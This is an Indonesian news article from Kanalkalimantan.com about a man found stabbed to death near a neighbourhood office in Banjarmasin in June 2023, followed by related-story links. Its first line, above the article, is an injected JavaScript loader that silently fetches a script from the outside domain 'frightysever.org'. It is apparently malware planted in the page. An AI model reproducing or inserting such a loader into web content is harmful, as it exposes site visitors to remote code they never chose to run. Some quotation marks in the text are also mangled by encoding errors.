(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Seorang lelaki ditemukan tewas terkapar di tepi jalan Kelayan A bersimbah darah, Rabu (21/6/2023) sekitar pukul 22.14 Wita.
Kejadian ini membuat geger warga RT 17 Kelurahan Murung Raya, Kecamatan Banjarmasin Selatan, Kota Banjarmasin. Lelaki yang tewas penuh darah itu diketahui adalah M (38) terkapar di depan kantor Kelurahan Murung Raya didapati dengan sejumlah luka tusuk di tubuhnya.
Hal ini diungkapkan relawan emergency Banjarmasin, Amat Kelana yang membenarkan bahwa M diduga terlibat perkelahian.
“Diduga perkelahian di depan kantor Kelurahan Murung Raya atau di tepi jalan Kelayan A dekat dengan Jembatan 5 Oktober,” ujar relawan emergency Banjarmasin, Amat Kelana.
Baca juga:Â Polres Banjar Luncurkan Polisi RW, Ini Bedanya dengan Bhabinkamtibmas
Dijelaskanya bahwa, M merupakan warga RT 17 Kelurahan Murung Raya yang diduga dihabisi oleh seorang lelaki hingga tewas di lokasi kejadian.
Saat ditemukan, M nampak tertelungkup ke arah dinding pagar kantor kelurahan dengan kondisi mengeluarkan banyak darah hingga membasahi pakaiannya.
“M meninggal dunia di lokasi kejadian dengan 6 mata luka tusuk,†sebutnya.
Adapun 6 mata luka tusuk itu, Amat menjelaskan terdapat pada pipi korban, kemudian luka tusuk di bawah bibir, di leher serta di ketiak.
Baca juga:Â Bersaksi di Sidang Korupsi Abdul Latif, Begini Pengakuan Mantan Wabup HST Chairansyah
Tak hanya itu, ada pula luka robek bekas menangkis yang terdapat di dekat siku dan luka tusuk pada bagian badan korban.
“Semua luka tusuk terdapat pada bagian sebelah kiri,†jelasnya.
Amat juga menjelaskan setelah menerima informasi peristiwa berdarah ini, sejumlah relawan emergency berdatangan ke lokasi untuk mengevakuasi korban ke ruang jenazah RSUD Ulin Banjarmasin. “Saat dilarikan pihak keluarga sudah mendampingi,†imbuhnya.
Sementara itu belum diketahui motif dan kronologis dari peristiwa berdarah ini. Hanya saja, sambung Amat, pihaknya telah mengantongi identitas saksi mata dari peristiwa ini.
“Untuk saat ini saksi kata atas nama Muliyadi (32), namun belum diketahui kronologis kejadian,†tutupnya. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.